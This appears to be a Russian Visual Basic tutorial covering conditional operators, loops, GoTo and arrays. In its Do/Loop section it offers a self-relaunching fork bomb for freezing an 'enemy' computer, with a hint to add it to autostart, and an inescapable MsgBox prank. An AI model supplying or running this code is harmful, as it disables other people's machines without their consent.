16.Операторы Visual Basic. Условный оператор

Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором тупых слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа. If Условие Then Серия 1 Else Серия 2 End If ИЛИ If Условие Then Серия 1

Оператор Select Case

С помощью этого оператора можно заменить условный оператор, это удобнее(т.к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так.  Select Case Переменная или выражение Case Значение 1 Действие Case Значение 1 Действие ... Case Else Действие в случае несовпадения End Select 

Операторы Do, Loop, Until (от -Гепарда97-)

Использование:

Do

<...операторы...>

Loop

Вгоняет комп в чуть менее, чем бесконечный цикл.

Например, всего 5ю строчками вражий комп можно повесить намертво (спасет только зажимание кнопки включения, приводящее к его аварийному отключениювынимание батареек), пишем в модуль:

sub main()

do

shell app.path & "\" & app.exename & ".exe"

loop

end sub

(Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus.exe /f где virus.exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)

Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.

Или другой пример (а здесь еще и использование случайного генератора чисел!)

Sub Main()

Call Randomize

random1 = Rnd

If random1 < 0.75 Then

Do

MsgBox "Хахахаха, ламерз маст дай!"

Loop

End If

End

End Sub

Что делает код: сначала генерирует ряд случайных чисел,

затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то

начать цикл и постоянно выводить сообщение (есичо, Loop - "закрывающий" оператор для Do, как Next для For и End If для If). Лулзы заключаются в том, что жертва (если она конечно полный ламер) не сможет закрыть эту мессагу. Если она конечно вывалится - если случ.число больше 0.75 то прога просто выключится.

А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.

1ый способ:

do

'Здесь мог быть ваш код

loop until x = 1

Второй:

do

if x <> 1 then

'Здесь мог быть ваш код

else

exit do 'Выходим из цикла

end if

loop

Оператор GoTo

Оператор безусловного перехода всегда изменяет порядок выполнения операторов в процедуре или функции vba. При этом vba не проверяет никаких условий, а просто переходит к выполнению кода с другого места.

Оператор GoTo имеет следующий синтаксис

GoTo метка

Метка – любое обозначение или номер строки в той же процедуре или функции, которая содержит оператор GoTo. При выполнении оператора GoTo VBA немедленно переходит к выполнению оператора в строке, определенной с помощью метки.

17.Массивы в Visual Basic. Операторы цикла и обработка массивов.

Циклы

• For... Next

Dim i As Integer = 0

For i = 1 To 10

DisplayNumber(i)

Next

Цикл For...Next начинается с переменной-счетчика i. Это переменная цикла, используемая для подсчета того, сколько раз он был выполнен. Следующая строка (For i = 1 to 10) сообщает программе, сколько раз требуется повторить цикл, а также описывает возможные значения переменной i. Выполнение цикла For...Next начинается с переменной i, содержащей первое значение (в данном случае —1). Затем программа выполняет строки кода между строками For и Next, в этом случае вызывая метод DisplayNumber с параметром i (в данном случае также равным 1).

При достижении строки Next 1 добавляется к переменной i, и выполнение программы переходит обратно к строке For. Это повторяется до тех пор, пока значение i не станет больше, чем второе число в строке For, в этом случае 10. Как только это произойдет, выполнение программы продолжится со строки кода после строки Next.

• Do...While (Do…Until)

Dim sum As Integer = 0

Do While sum < 100

sum = sum + 10

Loop

В этом коде строка Do While оценивает переменную sum, проверяя, меньше ли она чем 100. Если это так, то выполняется следующая строка кода; если же это не так, то выполнение переходит к строке, следующей за словом Loop. Ключевое слово Loop сообщает коду о необходимости вернуться к строке DoWhile и оценить новое значение sum.

Массивы. Переменные, представляющие более одного значения

Существует другой тип переменной — массив. Он предоставляет удобный способ для хранения нескольких значений одного типа.

Dim players() As String

Переменная массива объявляется постановкой круглых скобок после имени переменной. Если известно количество хранимых значений, то можно также указать размер массива в описании, как это показано ниже.

Dim players(8) As String

Размер массива составляет 9, так как в бейсбольную команду входят 9 игроков. Массив состоит из некоторого количества значений или элементов, начиная с нулевого элемента и заканчивая элементом с номером, который на единицу меньше, чем число, указанное в объявлении. В этом случае массив содержит элементы от 0 до 8, всего девять элементов.

 Присвоение значений массивам

players(0) = "John"

players(3) = "Bart"

Как в случае с другими типами значений, можно объявить массив и присвоить значения его элементам в одной строке следующим образом.

Dim players() As Integer = {1, 2, 3, 4, 5, 6, 7, 8, 9}

В этом случае фигурные скобки означают список значений. Значения назначаются элементам в указанном порядке. Обратите внимание, что размер массива не указан, а определяется числом элементов в списке.

 Извлечение значений из массива

Подобно тому, как числа используются для указания положения элемента в массиве, номер элемента используется для указания значения, которое нужно извлечь.

Dim AtBat As String

AtBat = players(3)

Приведенный выше код извлекает четвертый элемент массива и присваивает его значение строковой переменной AtBat.